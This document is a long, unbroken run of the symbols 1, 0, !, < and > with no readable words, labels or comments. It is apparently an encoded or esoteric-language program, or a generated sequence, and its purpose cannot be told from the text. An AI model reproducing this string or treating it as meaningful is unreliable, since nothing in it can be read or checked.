1!1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!10110>1!1!1!1!<>1!1!1!<>1>0>1!1!1>0>1>0>1!1!1>0>1!1010>01>0>1>0>10110>10110>10110>10110>10110>10110>10110>10110>1!1!1>0>1!1>0>1!1!1!1!10110>1!1!1>0>1!1>0>1>01010111>01>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1!10110>1!1!1!1!1!10110>10110>10110>10110>10110>10110>10110>10110>1!1!10110>1!1>0>1!1!1!1!10110>1!1!1>0>1!1>0>1>01010111>01>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1>01010111>010110>1!1>0><>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>101101010111>10111>01!1!1!1>0>1!1!1!10110>10110>10110>10110>10110>10110>10110>10110>1!1!1!1!10110>1!1!1!1!10110>1!1!1>0>1!1>0>1>0>1!1!1!1!1!1!10110>1!1!1!10110>1!<>1>0>1!1>0>1!1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0><>1>0>1!1>0>1!1>0>1!1>0><>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0><>1!1>0>1!<>1>0>1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!<>1!1!1!1!10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1>01010111>01!1>0>1!1!1!1!1>0>1>0>10110>1!1!1!1>0>1>0>1!1>01010111>01!1>0>1!1!1!1!1010>010110>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1>0>1!<><>1!1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1>01010111>01!1>0>1!1!1!1!1>0>1>0>10110>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!10110>1!1!1!1>0>1!1!1>0>10110>10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1!1!1!10110>1!1!10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!10110>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!<>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1>01010111>01!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1!1!<>1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1>01010111>01>0>1!1>0>1!1!1!1!1>0>1!1>01010111>01>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1010>01>0>1!1!1!1>0>1!1!1!1!1>0>1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1>0>101101010111>10111>01!1!1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1010>01>0>1!10110><>1!1>0>1>0>1!1!1!1!1!1!1010>01>0>1!1!10110>1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1010>010110>1!1>0>1>0>1!1!1!1!1010>01010>01010>01>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1010>010110>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1010>01010>01010>010110>1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1>01010111>01!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!1>01010111>01>0>1!1!1>01010111>01!1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1!10110>10110>1!1>0>1!1!1!1>0>1!1!1!1!1!1010>01>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1>0>1!1>0>1!1!<>1>0>1!1!1!1!<>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>10110>10110>10110>10110>10110>10110>10110>10110>1!1!1>0>1>0>1!1!1!1!1!1!10110>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1010>01>0>10110>1!1!1!1!1>0>1!10110>1!10110>1!1!1!1!1!10110>10110>10110>10110>10110>10110>10110>10110>1!1!1!1>0>1!1>0>1!1!1!1!1!10110>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1>0>1>0>1!<>1!1!1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>101101010111>10111>01!1!1!1>0>1!1!1!10110>1!10110>10110>1!1>0>1!1>0>1!1!1!1!10110>1!1!1!10110>10110>10110>10110>10110>10110>10110>10110>1!1!1>0>10110>1!1!1!1!1!10110>1!1!1>0>1!1>0>1>01010111>01!1>0>1!1!1!1!1>0>1>0>10110><><>1>0>1!1>0>1!1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0><>1>0>1!1>0>1!1>0>1!1>0><>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0><>1!1>0>1!<>1>0>1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>01010111>010110>10110>10110>10110>10110>10110>10110>10110>1!1!1!1>0>1!1>0>1!1!1!1!10110>1!1!1>0>1!1>0>1>01010111>01>0>1!1>0>1!1!1!1>0>1>0>1!1>01010111>01!1>0>1!1!1010>01>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1010>01>0>1!1!<>1>0>1!1!1!10110>1!<><>10110>10110>10110>10110>10110>10110>10110>10110>1!1>0>1!1!1>0>1>0>1!1!1!1!10110>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!10110>1!1>0>1>0>10110>1!1>01010111>01!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1>0>1>01010111>01!1!1!1!1>01010111>01!1!1!1>0>1!1!1!1>0>1>0>1!1>0><>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1>0>1>0>10110>1!1>0>1!1!1!1!<>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!<>1!1!<>1!1!1!1!1>01010111>01!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1010>01>0>1!1>0>1>0>1!1!1>0>1!1>0>1>0>10110>1!<>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!1!10110>10110>1!1>01010111>01!1!1!1!1>01010111>01!1!1!1>0>1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1010>01>0>1!<>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1>01010111>01!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>10110>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!<1010111>01!1>0>1>0>1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1010>010110>1!1>0>1>0>1!1>0>1!10110>1!1>0><>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!<>1!1!1!101101010111>01!1!1!1!1>01010111>01!1!1!1>0>1!1!1!1!1>0>1!1>01010111>01>0>1!1>0>1!1!1!<>10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1010>01>0>1!1!10110><>1!1>0>1>0>1!1!1!1!1!1!1010>01>0>1!10110>1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1!1!1!1!1!1010>01010>01010>01>0>1!1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1>0>1!1>0>1!1!1!1!1!1!1010>01>0>1!1!1!1>0>1!1>0>1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1!1>0>1!1>0>1!1!1!1!1!1!1010>01>0>10110>1!1!1>0>1!1!1!1!1!1!1!1010>01>0>10110>1!1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1>0>10110>1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!<>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!1>01010111>01>0>1!1!1>01010111>01!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!10110>10110>1!1>0>1!1!1!1>0>1!1010>01>0>10110>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>10110>1!1!<>1>0>1!1!1!1!<>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1!<>10110>10110>10110>10110>10110>1!1>0>1>0>10110>10110>1!1!1!1!10110>1!1!1!10110>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1010>01>0>1!1!1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>1>01010111>01!1!1>0>1>0>1!1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1>0>10110>1!1!1!1!1>0>1>01010111>01!1!1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1010>01>0>1>0>1!10110>1!1!1!1!1>0>1!10110>1!101101010111>010110>10110>10110>10110>10110>1!1>0>10110>10110>1!1>0>1!1>0>1>0>10110>1!1!1!10110>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1!1!1>0>1>0>1!10110>10110>1!1>0>1!1>0>1!1!1>0>1!10110>1!1!1!10110>10110>10110>10110>10110>10110>10110>10110>1!1>0>1>0>1!1!1!1!1!1!1!1!10110>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1010>01>0>1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1>01010111>01!1!1!1!1>0>1!1>0>1!1!10110>1!1!1>0>1!1!1!1>0>1>0>10110>1!1!1!101101010111>01!1!1!1>0>1!1!1!1!1>0>1!1!1>0>1!<>1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!10110>10110>1!1>0>1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1!1!1>0>1>01010111>01!1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!<>1>0>1!1!1!<>1!1!1!1!1>0>1!1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1!10110>10110>1!1>0>1>0>1!1!1>0>1!1!10110>1!10110>1!1!1>0>1>0>101101010111>01!1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1!10110>10110>1!1>0>1>0>1!10110>1!1!1>0>1>0>101101010111>01!1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1!10110>10110>1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1!1>0>1!1!1>0>1!<>1!1!1010>01>0>1!10110>1!1!1!1>0>1>0>1!1!1!1>0>1!1>01010111>01!1!1!1!1>0>1>0>1!1!1010>01>0>1>0><>1>0>1!1>0>1!1!1>0><>1!1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1>0>1!1!1>01010111>01!1!1!1>0>1!1>0>1!<>1>0>1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!10110>10110>10110>10110>10110>10110>10110>10110>10110>1!1>0>1!1>0>1!1!1!1!10110>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>01010111>01!1>0>1!1!1010>01>0>1!1>0>10110>1!1!1>0>10110>1!1>0>1>0>1!1>0>1>0><>1>0>1!1>0>1>0>1!1!1010>01>0>1!1!<>1>0>1!1!1!1>0>1!1>0>1!1!1!1!1!1!10110>10110>10110>10110>10110>10110>10110>10110>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!10110>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1010>01>0>1!1!1>0>1!1!1!1!10110>1!<>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!<>1>0>1!1!1!1>0>1!1>01010111>01!1!101101010111>01!1!1!1>0>1!1!1!1>0>1>0>1!1>0><>1!1>01010111>01>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1010>01>0>1>01010111>01!1>0>1!1!1!1>0><>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!1!1!<1010111>01!1!101101010111>01!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1010>010110>1!1>0>1!1>0>1!1>0>1!1>0>10110><>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1>01010111>01!1!1!1>0>1>01010111>01!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1010>01>0>1!<>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1>01010111>01!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>10110>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!<><>1>0>1!1>0>1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1!1!1>0>1!1>01010111>01>0>1!1>0>1!1!1!1!1>0>1>0>10110>1!10110>1!1>0>1!1>0>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1!1!1010>010110><>1!1>0>1>0>1!1!1!1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1!1>0>1>0>1!1!1010>01010>01010>01>0>10110>1!1!1>0>1>0>1!1!1!1!1!1!1010>01>0>1!10110>1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!10110>1!1!1!1!1!1!1!1!1010>01>0>1>0>1!10110>1!1!1!1!1010>01010>01010>01>01010111>01!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1>01010111>01!1!1!1>0>1!1!1!1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!101101010111>01>0>1!1!1>01010111>01!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!10110>10110>1!1!1>0>1>01010111>01>0>1!1!1>01010111>01!1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1!10110>10110>1!1>0>1!1!1!1>0>1!1!1010>010110>1!1!1010>01>0>1!<>10110>1!1>0>1!1!1!1!1!<>1!1>0>1!1!<>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1010>01>0>1>0>1!<>1!10110>1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>10110>10110>10110>10110>10110>1!10110>10110>1!1>0>10110>1!1>0>1>0>1!1!1!10110>1!1!1!10110>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!10110>1!1!1!1!1>0>1>0>10110>1!1!1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!1!1!1!1010>01>0>1>0>1!<>1!10110>1!1>0>1!1!1>0>1!1!1!1!101101010111>01>0>1!1>0>1>0>1!1!1010>01>0>1>0>1!<>1!10110>1!1!1!1>0>1!1!1!1010>01>0>1!1!1>0>1!1>0>1!1!1!10110>10110>1!1>0>1!1>0>1>01010111>01!1>0>1!1!1010>01>0>1>0><>10110>1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1>0>1!1>0>1!10110>1!1!1!1>01010111>01!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1010>01>0>1>0>10110>1!1!1>0>1!1!1!1!1>0>1!1>01010111>01!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!<>1!1!1>0>1!1>0>1!<>1!1!1>0>10110>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>10110>10110>10110>10110>10110>1!1>0>10110>10110>1!1>0>1>0>1!1>0>1!1!1!1!1!1!10110>1!1!1!10110>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1>01010111>01!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1010>010110>1!1!1>0>1!1>01010111>0<>1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1!101101010111>01!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>10110>10110>10110>10110>10110>1!1>0>1>0>10110>10110>1!1!1!1>0>1>0>1!1!1!1!1!10110>1!1!1!10110>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1>0><>1>0>1!1>0>1!10110>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>10110>10110>10110>10110>10110>1!1>0>10110>10110>10110>10110>1!1!1!1!1!10110>1!1!1!10110>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1!1010>01>0>1!1>0>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1!1>0>1!10110>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!10110>1!1>0>1!1!1!1!1>0>1!1!1!1!1>0>1!1!1!1>0><>1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>10110><>1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1010>01>0>1!1!1!<>1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!1>0><>1>0>1!1>0>1!101101010111>01!1!1!1>01010111>01>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1010>01>0>1!<>1!1>0>1!10110>1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1>01010111>01!1!1!1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1>01010111>01!10110>1!1!1!1>01010111>01!1!1!1>0>1!1!1!1>0>10110>10110>10110>10110>10110>1!1>0>10110>10110>1!1!1>0>1>0>10110>1!1!1!1!10110>1!1!1!10110>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1!1>0>1!1>0>1>0>10110>1!1!1!1>0>10110>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1!1>0>1!1>0>1>0>10110>1!1!1!1>0>10110>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!10110>1!1>0><>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!10110>1!1!1!10110>1!1>0>1>0>1!1010>01>0>1!1!1!<>1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>10110>10110>10110>10110>10110>1!1>0>10110>10110>1!1!10110>1!1!1>0>1!1!1!10110>1!1!1!10110>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1!101101010111>01>0>1!1!1>0>1!1!<>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>01010111>01!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1>0><>1>0>1!1>0>1!10110>1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1010>01>0>1!<>1!1>0>1!10110>1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1!1!1!1>0>1>0>10110>1!1!1!101101010111>01!1!1!1>0>1!1!1!1>0>1!1>0>1!10110>10110>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1!1>0>10110>10110>10110>10110>10110>1!10110>10110>10110>1!1!1!1!1>0>1>0>1!1!1!10110>1!1!1!10110>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1!1>0>1!10110>1!1!1>0>1>0>1!1>01010111>01!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1>0>1!1>01010111>01!1!1>0>10110>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1!1>01010111>01>0>1!1>0>1!1!1>0>1>0>10110>1!1>0><>1!1!1>0>1>0>10110>1!1!1!1!1>0>1>01010111>01!1!1!1>0>1!1!1!1>0>10110>10110>10110>10110>10110>1!10110>10110>10110>10110>1!1>0>1>0>1!1!1!10110>1!1!1!10110>1!1!1!1!1>0>1>0>1!1!1>01010111>01>0>1!1!1!1!1>0>1>0>10110>1!1!1!101101010111>01>0>1!1!1>0>1!1!<>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!10110>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>10110>10110><>1>01010111>01!1!1!1>0>1>01010111>01!1!1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1>0>10110>1!1!1!1>0>1>0>10110>1!1!1!1!1>0>1>01010111>01!1!1!1>01010111>01>0>1!1!1!1!1>0>1>0>1!1!1>0><>1>0>1!1>0>1!1>0>1!1!1>0>1>01010111>01>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!10110>10110>10110>10110>10110>10110>10110>10110>1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1!10110>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!10110>1!1!1!1!1>0>1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>01010111>01!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!10110>1!1>01010111>01>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1010>01>0>1!1!1!<>1!10110>1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1010>01>0>1!<>1!1>0>1!10110>1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>01010111>10111>01>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1010>01>0>1!1>0>1!1!1!1>0>1>0>1!1!10110>1!10110>10110>10110>10110>10110>10110>10110>10110>1!1!1>0>1>0>1!1>0>1!1!1!1!1!10110>1!1!1!10110>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1!10110>1!1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>01010111>01>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>01010111>01>0>1!1>0>1>0>1!1010>01>0>1!1!1!<>1!10110>1!1!1!1>0>1!1!1!1010>010110>1!1!1>0>1!1!1!10110>10110>1!1>0>1>0>1!1>0>1>0>1!1010>01>0>1!1!1!<>1!10110>1!1!1!1!1>01010111>01!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1010>01>0>1>01010111>01!1>0>1!10110>1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!10110>10110>1!1>0>1!1>0><>1!1!1!1>0>1>0>10110>1!1!1!10110>10110>10110>10110>10110>10110>10110>10110>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!10110>1!1!1!10110>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>10110>1!1!1!1>0>1!1!1>0><>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1>0>101101010111>01>0>1!1>0>1>0>1!1!1010>01>0>1>0>1!<>1!10110>1!1!1!1>0>1!1!1!1010>01>0>1!1!1>0>1!1>0>1!1!1!10110>10110>1!1>0>10110>10110>10110>10110>10110>10110>10110>10110>10110>1!1>0>1>0>1!1!1!1!10110>1!1!1!10110>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1!1!1>0>1>0>1!101101010111>01>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1>01010111>01>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1>01010111>01!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1010>01>0>1!1!1!<>1!10110>1!1!1!1!1>0><>1>0><>1!1!1!1!1!1!1010>01>0>1!1>0>1!1!1!10110>10110>1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1!1>0>1>0>1!1!1>0><>1!1!1!1!1>0>1>0>1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!<>1!1!1!1!1>01010111>01!1!1>0>1>0>1!1!10110>1!